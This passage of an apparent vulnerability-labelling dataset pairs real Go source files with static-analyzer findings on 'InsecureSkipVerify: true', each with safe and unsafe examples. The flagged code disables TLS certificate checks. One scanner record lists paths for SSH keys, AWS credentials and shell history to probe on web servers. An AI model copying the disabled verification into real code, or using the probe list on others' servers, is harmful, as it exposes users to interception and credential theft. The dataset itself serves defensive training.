filepath.Join(dir, filename)\n\t\tif !util.IsFileRecent(path, s.updateInterval) {\n\t\t\turl := fmt.Sprintf(\"%sA%s/b%s.txt\", OEIS_WEBSITE, id, id)\n\t\t\ttxtpath := filepath.Join(dir, fmt.Sprintf(\"b%s.txt\", id))\n\t\t\terr := util.FetchFile(s.httpClient, url, txtpath)\n\t\t\tif err != nil {\n\t\t\t\tutil.WriteHttpInternalServerError(w)\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\t\t\terr = exec.Command(\"gzip\", \"-f\", txtpath).Run()\n\t\t\tif err != nil {\n\t\t\t\tutil.WriteHttpInternalServerError(w)\n\t\t\t\tlog.Fatalf(\"Error executing gzip: %v\", err)\n\t\t\t}\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/octet-stream\")\n\t\tlog.Printf(\"Serving %s to %s\", filename, req.UserAgent())\n\t\thttp.ServeFile(w, req, path)\n\t}\n\treturn http.HandlerFunc(f)\n}\n\nfunc (s *OeisServer) Run(port int) {\n\trouter := mux.NewRouter()\n\trouter.Handle(\"/v1/oeis/names.gz\", newSummaryHandler(s, \"names.gz\"))\n\trouter.Handle(\"/v1/oeis/stripped.gz\", newSummaryHandler(s, \"stripped.gz\"))\n\trouter.Handle(\"/v1/oeis/b{id:[0-9]+}.txt.gz\", newBFileHandler(s))\n\trouter.NotFoundHandler = http.HandlerFunc(util.HandleNotFound)\n\tlog.Printf(\"Using data dir %s\", s.dataDir)\n\tlog.Printf(\"Listening on port %d\", port)\n\thttp.ListenAndServe(fmt.Sprintf(\":%d\", port), router)\n}\n\nfunc main() {\n\tsetup := cmd.GetSetup(\"oeis\")\n\ts := NewOeisServer(setup.DataDir, setup.UpdateInterval)\n\ts.Run(8080)\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "0f0346481d311de3a2d36d32eb53addf1abd1ca555335dbcd0a0c0d5350c858b", "license": {"spdx": ["Apache-2.0"], "repo": "ijyd/shadowss", "path": "pkg/multiuser/request.go", "repo_head_hexsha": "5f13ffb425ceb87690648169998ee3099a104a0c", "stack_hexsha": "e35f845dfc7b9e67c9f2eeda37ef241dd0d6f88f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 21, "entireCode": "package multiuser\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"shadowss/pkg/api\"\n\t\"shadowss/pkg/multiuser/apiserverproxy\"\n\tmuconfig \"shadowss/pkg/multiuser/config\"\n)\n\ntype DoReq func(client *http.Client, url string) error\n\nfunc Request(req DoReq) error {\n\tsecure := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\tDisableCompression: true,\n\t\tDisableKeepAlives: true,\n\t}\n\ttimeout := 5 * time.Second\n\tsecureClient := &http.Client{\n\t\tTransport: secure,\n\t\tTimeout: timeout,\n\t}\n\n\turl := string(\"\")\n\tif len(apiserverproxy.ApiServerList) != 0 {\n\t\turl = fmt.Sprintf(\"https://%s:%d\", apiserverproxy.ApiServerList[0].Host, apiserverproxy.ApiServerList[0].Port)\n\t}\n\n\treturn req(secureClient, url)\n}\n\nfunc GetAPIServers(urladdr string) (*api.APIServerList, error) {\n\n\tapiservers := &api.APIServerList{}\n\n\terr := Request(func(client *http.Client, url string) error {\n\t\turl = fmt.Sprintf(\"%s/api/v1/apiservers\", urladdr)\n\t\treq, err := http.NewRequest(\"GET\", url, nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmuconfig.AddAuthHTTPHeader(req)\n\n\t\tresp, err := client.Do(req)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif resp.StatusCode == 200 {\n\t\t\treturn json.Unmarshal(body, apiservers)\n\t\t} else {\n\t\t\treturn fmt.Errorf(\"get api servers error:%v\", string(body))\n\t\t}\n\n\t})\n\n\treturn apiservers, err\n}\n\nfunc UpdateNode(node *api.Node, ttl uint64) error {\n\n\tbody, err := json.Marshal(node)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = Request(func(client *http.Client, url string) error {\n\t\turl = fmt.Sprintf(\"%s/api/v1/nodes/%s/refresh\", url, node.Name)\n\t\treq, err := http.NewRequest(\"PUT\", url, bytes.NewBuffer(body))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmuconfig.AddAuthHTTPHeader(req)\n\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\t\tresp, err := client.Do(req)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif resp.StatusCode >= 300 {\n\t\t\treturn fmt.Errorf(\"update node %v error:%v\", node, string(body))\n\t\t}\n\n\t\treturn nil\n\t})\n\n\treturn err\n}\n\nfunc UpdateNodeUser(user *api.NodeUser) error {\n\tname := user.Spec.User.Name\n\t//need to update our node user\n\tuser.Name = name\n\tbody, err := json.Marshal(user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = Request(func(client *http.Client, url string) error {\n\t\turl = fmt.Sprintf(\"%s/api/v1/nodeusers/%s\", url, name)\n\t\treq, err := http.NewRequest(\"PUT\", url, bytes.NewBuffer(body))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmuconfig.AddAuthHTTPHeader(req)\n\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\t\tresp, err := client.Do(req)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif resp.StatusCode >= 300 {\n\t\t\treturn fmt.Errorf(\"update nodeuser %v error:%v\", name, string(body))\n\t\t}\n\n\t\treturn nil\n\t})\n\n\treturn err\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "02952a2c23684bc5c2aa4b1c05829a606a0bca0179e88a2e02aec4f6afbbd7cd", "license": {"spdx": ["Apache-2.0"], "repo": "titanous/caddy", "path": "caddy/https/handler.go", "repo_head_hexsha": "e516aebc086132e91df18159caa020c9782d9085", "stack_hexsha": "f3139f54e7fba0b78e75f0addd2f8fe5707cd06f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 34, "entireCode": "package https\n\nimport (\n\t\"crypto/tls\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"strings\"\n)\n\nconst challengeBasePath = \"/.well-known/acme-challenge\"\n\n// RequestCallback proxies challenge requests to ACME client if the\n// request path starts with challengeBasePath. It returns true if it\n// handled the request and no more needs to be done; it returns false\n// if this call was a no-op and the request still needs handling.\nfunc RequestCallback(w http.ResponseWriter, r *http.Request) bool {\n\tif strings.HasPrefix(r.URL.Path, challengeBasePath) {\n\t\tscheme := \"http\"\n\t\tif r.TLS != nil {\n\t\t\tscheme = \"https\"\n\t\t}\n\n\t\tupstream, err := url.Parse(scheme + \"://localhost:\" + AlternatePort)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tlog.Printf(\"[ERROR] ACME proxy handler: %v\", err)\n\t\t\treturn true\n\t\t}\n\n\t\tproxy := httputil.NewSingleHostReverseProxy(upstream)\n\t\tproxy.Transport = &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // solver uses self-signed certs\n\t\t}\n\t\tproxy.ServeHTTP(w, r)\n\n\t\treturn true\n\t}\n\n\treturn false\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 34, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "077e08fae13ec7052d4a5eb661ccc5fb7f3aff45f915782630821d72dbdd59a6", "license": {"spdx": ["MIT"], "repo": "dev-rowbot/eventstore_exporter", "path": "internal/client/client.go", "repo_head_hexsha": "55a82b2ecb5d479d69e16587d03550e5d7143a63", "stack_hexsha": "11836bae6d178fff7412e14e26f94358dda5e0fe", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 39, "entireCode": "package client\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/EventStore/EventStore-Client-Go/v2/esdb\"\n\t\"github.com/marcinbudny/eventstore_exporter/internal/config\"\n\tlog \"github.com/sirupsen/logrus\"\n)\n\ntype EventStoreStatsClient struct {\n\thttpClient http.Client\n\tconfig *config.Config\n}\n\ntype Stats struct {\n\tEsVersion EventStoreVersion\n\tProcess *ProcessStats\n\tDiskIo *DiskIoStats\n\tTcp *TcpStats\n\tCluster *ClusterStats\n\tQueues []QueueStats\n\tDrives []DriveStats\n\tProjections []ProjectionStats\n\tSubscriptions []SubscriptionStats\n\tStreams []StreamStats\n}\n\nfunc New(config *config.Config) *EventStoreStatsClient {\n\tesClient := &EventStoreStatsClient{}\n\tesClient.config = config\n\n\tif config.InsecureSkipVerify {\n\t\ttr := &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\tesClient.httpClient = http.Client{\n\t\t\tTimeout: config.Timeout,\n\t\t\tTransport: tr,\n\t\t}\n\t} else {\n\t\tesClient.httpClient = http.Client{\n\t\t\tTimeout: config.Timeout,\n\t\t}\n\t}\n\n\treturn esClient\n}\n\nfunc (client *EventStoreStatsClient) getGrpcClient() (*esdb.Client, error) {\n\tlog.Debug(\"Creating ES grpc client\")\n\n\turl, err := url.Parse(client.config.EventStoreURL)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tesConfig := &esdb.Configuration{\n\t\tAddress: url.Host,\n\t\tDisableTLS: url.Scheme != \"https\",\n\t\tSkipCertificateVerification: client.config.InsecureSkipVerify,\n\t\tDiscoveryInterval: 100,\n\t\tGossipTimeout: 5,\n\t\tMaxDiscoverAttempts: 10,\n\t\tKeepAliveInterval: 10 * time.Second,\n\t\tKeepAliveTimeout: 10 * time.Second,\n\t\tLogger: loggerAdapter,\n\t}\n\n\tif client.config.EventStoreUser != \"\" && client.config.EventStorePassword != \"\" {\n\t\tesConfig.Username = client.config.EventStoreUser\n\t\tesConfig.Password = client.config.EventStorePassword\n\t}\n\n\treturn esdb.NewClient(esConfig)\n}\n\nfunc (client *EventStoreStatsClient) GetStats() (*Stats, error) {\n\tesVersionChan := client.getEsVersion()\n\tserverStatsChan := client.getServerStats()\n\tprojectionStatsChan := client.getProjectionStats()\n\tsubscriptionStatsChan := client.getSubscriptionStats()\n\tstreamStatsChan := client.getStreamStats()\n\n\tvar clusterStatsChan <-chan getClusterStatsResult\n\tif client.config.IsInClusterMode() {\n\t\tclusterStatsChan = client.getClusterStats()\n\t}\n\n\tesVersionResult := <-esVersionChan\n\tserverStatsResult := <-serverStatsChan\n\tprojectionStatsResult := <-projectionStatsChan\n\tsubscriptionsStatsResult := <-subscriptionStatsChan\n\tstreamStatsResult := <-streamStatsChan\n\n\tvar clusterStatsResult getClusterStatsResult\n\tif client.config.IsInClusterMode() {\n\t\tclusterStatsResult = <-clusterStatsChan\n\t}\n\n\tif esVersionResult.err != nil {\n\t\treturn nil, esVersionResult.err\n\t}\n\tif serverStatsResult.err != nil {\n\t\treturn nil, serverStatsResult.err\n\t}\n\tif projectionStatsResult.err != nil {\n\t\treturn nil, projectionStatsResult.err\n\t}\n\tif subscriptionsStatsResult.err != nil {\n\t\treturn nil, subscriptionsStatsResult.err\n\t}\n\tif streamStatsResult.err != nil {\n\t\treturn nil, streamStatsResult.err\n\t}\n\tif client.config.IsInClusterMode() && clusterStatsResult.err != nil {\n\t\treturn nil, clusterStatsResult.err\n\t}\n\n\tvar stats = &Stats{\n\t\tEsVersion: esVersionResult.esVersion,\n\t\tProcess: serverStatsResult.process,\n\t\tDiskIo: serverStatsResult.diskIo,\n\t\tTcp: serverStatsResult.tcpStats,\n\t\tQueues: serverStatsResult.queues,\n\t\tDrives: serverStatsResult.drives,\n\t\tProjections: projectionStatsResult.projections,\n\t\tSubscriptions: subscriptionsStatsResult.subscriptions,\n\t\tStreams: streamStatsResult.streams,\n\t}\n\n\tif client.config.IsInClusterMode() {\n\t\tstats.Cluster = clusterStatsResult.cluster\n\t}\n\n\treturn stats, nil\n}\n\nfunc loggerAdapter(level esdb.LogLevel, format string, args ...interface{}) {\n\tmappedLevel := log.InfoLevel\n\n\tswitch level {\n\tcase \"debug\":\n\t\tmappedLevel = log.DebugLevel\n\tcase \"warn\":\n\t\tmappedLevel = log.WarnLevel\n\tcase \"error\":\n\t\tmappedLevel = log.ErrorLevel\n\t}\n\n\tif log.IsLevelEnabled(mappedLevel) {\n\t\tlog.StandardLogger().WithField(\"context\", \"esdb_client\").Log(mappedLevel, fmt.Sprintf(format, args...))\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 39, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "4eb1d65066ee288f97dea0222dca3737e4310549edf9e9fd5a6b779a1dcf39ed", "license": {"spdx": ["MIT"], "repo": "gguillemas/vulcan-checks", "path": "cmd/vulcan-exposed-files/main.go", "repo_head_hexsha": "f63f09fe127e509b212549ab5ff14a2541caf797", "stack_hexsha": "f95d9a8b4b34faa99de353b9e329ac81352c91c4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 48, "entireCode": "package main\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/adevinta/vulcan-check-sdk\"\n\t\"github.com/adevinta/vulcan-check-sdk/state\"\n\t\"github.com/adevinta/vulcan-report\"\n\t\"github.com/sirupsen/logrus\"\n)\n\nvar (\n\tcheckName = \"vulcan-exposed-files\"\n\tlogger = check.NewCheckLog(checkName)\n)\n\ntype FileCheck struct {\n\tName string\n\tScore float32\n\tPath []string // File path to test for\n\tGrep []string // File content that must exist in file (to avoid false positives)\n}\n\nfunc main() {\n\trun := func(ctx context.Context, target string, optJSON string, state state.State) error {\n\t\tif target == \"\" {\n\t\t\treturn fmt.Errorf(\"check target missing\")\n\t\t}\n\t\treturn scanTarget(ctx, target, logger, state, nil)\n\t}\n\tc := check.NewCheckFromHandler(checkName, run)\n\tc.RunAndServe()\n\n}\n\nfunc scanTarget(ctx context.Context, target string, logger *logrus.Entry, state state.State, args []string) error {\n\thttpClient := &http.Client{\n\t\t// Set timeout for HTTP request.\n\t\tTimeout: time.Duration(10 * time.Second),\n\t\t// Do not verify SSL certificate.\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t},\n\t\t// Don't follow redirects\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\ttargets, err := resolveTargets(*httpClient, target)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif targets == nil {\n\t\t// Neither port 80 or 443 is open\n\t\treturn nil\n\t}\n\n\tchecks := []FileCheck{\n\t\t{\n\t\t\t\"SSH keys\",\n\t\t\treport.SeverityThresholdHigh,\n\t\t\t[]string{\"/id_rsa\", \"/id_dsa\", \"/.ssh/id_rsa\", \"/.ssh/id_dsa\"},\n\t\t\t[]string{\"BEGIN PRIVATE KEY\", \"BEGIN RSA PRIVATE KEY\", \"BEGIN DSA PRIVATE KEY\"},\n\t\t},\n\t\t{\n\t\t\t\"AWS Credentials\",\n\t\t\treport.SeverityThresholdHigh,\n\t\t\t[]string{\"/.aws/credentials\"},\n\t\t\t[]string{\"[default]\", \"aws_access_key_id\", \"AWS_ACCESS_KEY_ID\", \"aws_secret_access_key\", \"AWS_SECRET_ACCESS_KEY\"},\n\t\t},\n\t\t{\n\t\t\t\"Shell files\",\n\t\t\treport.SeverityThresholdHigh,\n\t\t\t[]string{\"/.bash_history\", \"/.zsh_history\", \"/.profile\", \"/.env\"},\n\t\t\t[]string{\"NODE_ENV=\", \"APP_ENV=\", \"_SECRET=\", \"_PASSWORD=\", \"access_key\", \".secret\", \"_KEY=\", \"_ENCRYPTION=\", \"ENCRYPTION_\"},\n\t\t},\n\t\t{\n\t\t\t\"dump.sql\", // Default file in most documentations\n\t\t\treport.SeverityThresholdHigh,\n\t\t\t[]string{\"/dump.sql\"},\n\t\t\t[]string{\"INSERT INTO\"},\n\t\t},\n\t\t{\n\t\t\t\"Drupal backup files\",\n\t\t\treport.SeverityThresholdHigh,\n\t\t\t[]string{\"/sites/default/private/files/backup_migrate/scheduled/test.txt\"},\n\t\t\t[]string{\"this file should not be publicly accessible\"},\n\t\t},\n\t\t{\n\t\t\t\"Magento configuration\",\n\t\t\treport.SeverityThresholdHigh,\n\t\t\t[]string{\"/app/etc/local.xml\"},\n\t\t\t[]string{\"\"},\n\t\t},\n\t\t{\n\t\t\t\"IntelliJ Configuration\",\n\t\t\treport.SeverityThresholdLow,\n\t\t\t[]string{\"/.idea/WebServers.xml\"},\n\t\t\t[]string{\"name=\\\"WebServers\\\"\"},\n\t\t},\n\t\t{\n\t\t\t\".DS_Store file\",\n\t\t\treport.SeverityThresholdLow,\n\t\t\t[]string{\"/.DS_Store\"},\n\t\t\t[]string{\"\\x00\\x00\\x00\\x01Bud1\"}, // Bud1 signature of .DS_Store\n\t\t},\n\t}\n\n\tfor _, target := range targets {\n\t\tlogger.Infof(\"Scan target: %s\", target)\n\t\tfor _, check := range checks {\n\t\t\tfor _, path := range check.Path {\n\t\t\t\tcheckUrl := target + path\n\t\t\t\tlogger.Debugf(\"Testing URL: %s\", checkUrl)\n\t\t\t\tresponse, err := httpClient.Get(checkUrl)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Fatal(err)\n\t\t\t\t}\n\n\t\t\t\tbodyBytes, err := ioutil.ReadAll(response.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tresponse.Body.Close()\n\t\t\t\tif len(bodyBytes) == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tfor _, grep := range check.Grep {\n\t\t\t\t\tif strings.Contains(string(bodyBytes), grep) {\n\t\t\t\t\t\tlogger.Debugf(\"Vulnerability found! Url: %s Match: %s\\n\", checkUrl, grep)\n\n\t\t\t\t\t\tvulnReport := report.Vulnerability{\n\t\t\t\t\t\t\tSummary: \"Sensitive file exposed on web server\",\n\t\t\t\t\t\t\tScore: check.Score,\n\t\t\t\t\t\t\tReferences: []string{checkUrl},\n\t\t\t\t\t\t\tRecommendations: []string{\"Remove file from webserver.\", \"Add sensitive files to .gitignore\"},\n\t\t\t\t\t\t\tDescription: \"The server stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere.\",\n\t\t\t\t\t\t\tDetails: checkUrl + \" is publicly available which contains sensitive information.\",\n\t\t\t\t\t\t\tCWEID: 538, // File and Directory Information Exposure\n\t\t\t\t\t\t}\n\t\t\t\t\t\tstate.AddVulnerabilities(vulnReport)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc resolveTargets(httpClient http.Client, target string) ([]string, error) {\n\tvar possibleTarget string\n\tvar errs []error\n\tvar targets []string\n\tschemas := []string{\"https://\", \"http://\"}\n\n\tfor _, schema := range schemas {\n\t\tpossibleTarget = schema + target\n\t\tlogger.Debugf(\"Possible target URL: %s\", possibleTarget)\n\t\t_, err := httpClient.Get(possibleTarget)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t\tlogger.WithError(err).WithFields(logrus.Fields{\n\t\t\t\t\"failedPossibleTarget\": possibleTarget,\n\t\t\t}).Warn(\"not a valid target\")\n\t\t\tcontinue\n\t\t}\n\t\tlogger.Debugf(\"Target URL identified: %s\", possibleTarget)\n\t\ttargets = append(targets, possibleTarget)\n\t}\n\treturn targets, nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 48, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "ae24997331e4df87b95cdb9ce49ca419da2e3f884445889cab674ec3248d4b45", "license": {"spdx": ["Apache-2.0"], "repo": "dubee/go-sdk-core", "path": "core/base_service.go", "repo_head_hexsha": "e68c8f8b929ce0e41ee72623016ea2663af50d0c", "stack_hexsha": "bf9b35cc6d23f8c4054199221a8f794f35f278b3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 252, "entireCode": "package core\n\n/**\n * Copyright 2019 IBM All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n)\n\n// common constants for core\nconst (\n\tAPIKEY = \"apikey\"\n\tICP_PREFIX = \"icp-\"\n\tUSER_AGENT = \"User-Agent\"\n\tAUTHORIZATION = \"Authorization\"\n\tBEARER = \"Bearer\"\n\tIBM_CREDENTIAL_FILE_ENV = \"IBM_CREDENTIALS_FILE\"\n\tDEFAULT_CREDENTIAL_FILE_NAME = \"ibm-credentials.env\"\n\tURL = \"url\"\n\tUSERNAME = \"username\"\n\tPASSWORD = \"password\"\n\tIAM_APIKEY = \"iam_apikey\"\n\tIAM_URL = \"iam_url\"\n\tSDK_NAME = \"ibm-go-sdk-core\"\n\tUNKNOWN_ERROR = \"Unknown Error\"\n\tICP4D = \"icp4d\"\n\tIAM = \"iam\"\n)\n\n// ServiceOptions Service options\ntype ServiceOptions struct {\n\tVersion string\n\tURL string\n\tUsername string\n\tPassword string\n\tIAMApiKey string\n\tIAMAccessToken string\n\tIAMURL string\n\tIAMClientId string\n\tIAMClientSecret string\n\tICP4DAccessToken string\n\tICP4DURL string\n\tAuthenticationType string\n}\n\n// BaseService Base Service\ntype BaseService struct {\n\tOptions *ServiceOptions\n\tDefaultHeaders http.Header\n\tIAMTokenManager *IAMTokenManager\n\tICP4DTokenManager *ICP4DTokenManager\n\tClient *http.Client\n\tUserAgent string\n}\n\n// NewBaseService Instantiate a Base Service\nfunc NewBaseService(options *ServiceOptions, serviceName, displayName string) (*BaseService, error) {\n\tif HasBadFirstOrLastChar(options.URL) {\n\t\treturn nil, fmt.Errorf(\"The URL shouldn't start or end with curly brackets or quotes. Be sure to remove any {} and \\\" characters surrounding your URL\")\n\t}\n\n\tservice := BaseService{\n\t\tOptions: options,\n\n\t\tClient: &http.Client{\n\t\t\tTimeout: time.Second * 30,\n\t\t},\n\t}\n\n\tif service.Options.AuthenticationType != \"\" {\n\t\tservice.Options.AuthenticationType = strings.ToLower(service.Options.AuthenticationType)\n\t}\n\n\terr := service.checkCredentials()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tservice.SetUserAgent(service.BuildUserAgent())\n\n\t// 1. Credentials are passed in constructor\n\tif options.AuthenticationType == IAM || hasIAMCredentials(options.IAMApiKey, options.IAMAccessToken) {\n\t\ttokenManager, err := NewIAMTokenManager(\n\t\t\toptions.IAMApiKey,\n\t\t\toptions.IAMURL,\n\t\t\toptions.IAMAccessToken,\n\t\t\toptions.IAMClientId,\n\t\t\toptions.IAMClientSecret)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tservice.IAMTokenManager = tokenManager\n\t} else if usesBasicForIAM(options.Username, options.Password) {\n\t\ttokenManager, err := NewIAMTokenManager(\n\t\t\toptions.Password,\n\t\t\toptions.IAMURL,\n\t\t\toptions.IAMAccessToken,\n\t\t\toptions.IAMClientId,\n\t\t\toptions.IAMClientSecret)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tservice.IAMTokenManager = tokenManager\n\t\tservice.Options.IAMApiKey = options.Password\n\t\tservice.Options.Username = \"\"\n\t\tservice.Options.Password = \"\"\n\t} else if isForICP4D(options.AuthenticationType, options.ICP4DAccessToken) {\n\t\tif options.ICP4DAccessToken == \"\" && options.ICP4DURL == \"\" {\n\t\t\treturn nil, fmt.Errorf(\"The ICP4DURL is mandatory for ICP4D\")\n\t\t}\n\t\tservice.ICP4DTokenManager = NewICP4DTokenManager(\n\t\t\toptions.ICP4DURL,\n\t\t\toptions.Username,\n\t\t\toptions.Password,\n\t\t\toptions.ICP4DAccessToken)\n\t} else if isForICP(options.IAMApiKey) {\n\t\tservice.Options.Username = APIKEY\n\t\tservice.Options.Password = options.IAMApiKey\n\t}\n\n\t// 2. Credentials from credential file\n\tif displayName != \"\" && service.Options.Username == \"\" &&\n\t\tservice.IAMTokenManager == nil && service.ICP4DTokenManager == nil {\n\t\tserviceName := strings.ToLower(strings.Replace(displayName, \" \", \"_\", -1))\n\t\tservice.loadFromCredentialFile(serviceName, \"=\")\n\t}\n\n\t// 3. Try accessing VCAP_SERVICES env variable\n\tif service.Options.Username == \"\" && service.IAMTokenManager == nil && service.ICP4DTokenManager == nil {\n\t\tcredential := LoadFromVCAPServices(serviceName)\n\t\tif credential != nil {\n\t\t\tif credential.URL != \"\" {\n\t\t\t\tservice.SetURL(credential.URL)\n\t\t\t}\n\n\t\t\tif credential.APIKey != \"\" {\n\t\t\t\terr := service.SetIAMAPIKey(credential.APIKey)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t} else if credential.Username 